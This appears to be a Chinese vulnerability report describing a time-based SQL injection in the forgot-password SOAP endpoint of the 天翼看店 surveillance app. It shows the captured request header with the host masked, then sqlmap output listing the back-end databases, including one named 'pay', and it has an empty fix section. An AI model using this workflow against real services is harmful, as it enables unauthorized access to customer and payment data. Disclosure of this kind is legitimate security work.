天翼看店APP某处存在延时注入

天翼看店APP某处存在延时注入

天翼看店是江苏鸿信系统集成有限公司推出的一款集摄像、录像、实时监控、云台控制、报警、存储为一体安防业务，针对公司、店铺等需要进行可视化管理的场所，通过客户端管理软件和互联网服务平台，以电脑和智能手机作为媒介，实现远程监控，帮助用户更好地进行安防和可视化管理。-------------------------------------------录像/摄像 1.支持前端存储历史视频回放; 3.支持本地存储视频回放。云台控制 1.WEB端，客户端提供控制云台功能，视角灵活。全面的业务——天翼看店是您*贴心的安防助手!

以上描述中存在违反广告法的内容，自动用*代替

【基本信息】

作者：查尔斯 更新时间：2015-12-02

版本：2.1 系统：Android 2.2.x以上

语言：其他

在登陆处，点击忘记密码之后，我们进行抓包

POST http://**.**.**.**:9000/cxf/MobileService HTTP/1.1

User-Agent: ksoap2-android/2.6.0+

SOAPAction: ""

Content-Type: text/xml;charset=utf-8

Connection: close

Accept-Encoding: gzip

Content-Length: 466

Host: **.**.**.**:9000

153160583512

得到一个xml的数据包

然后我们放到SQLMAP里面跑一下;

back-end DBMS: MySQL 5.0.12

[16:13:33] [INFO] fetching database names

[16:13:33] [INFO] fetching number of databases

[16:13:33] [INFO] resumed: 11

[16:13:33] [INFO] resumed: information_schema

[16:13:33] [INFO] resumed: dxptlz

[16:13:33] [INFO] resumed: mysql

[16:13:33] [INFO] resumed: pay

[16:13:33] [INFO] resumed: performanc\x04A_schena

[16:13:33] [INFO] resumed: test

[16:13:33] [INFO] resumed: tzkdnew\x02

[16:13:33] [INFO] resumed: tykdoss

[16:13:33] [INFO] resumed: tykdportaz

[16:13:33] [INFO] resumed: tykdpublic

[16:13:33] [INFO] resumed: tykjportal

available databases [11]:

`performancA_schena`

`tzkdnew`

dxptlz

information_schema

mysql

pay

test

tykdoss

tykdportaz

tykdpublic

tykjportal

总共有是一个表，本来想列出数据库中的用户信息等等，但是鉴于该注入是延时注入，并且延时最慢的时候要将近60秒，时间太长，所以就没有列出。

但是基本可以从数据库名字中就已经可以确定了，pay中可能存在敏感信息。

解决方案：

= =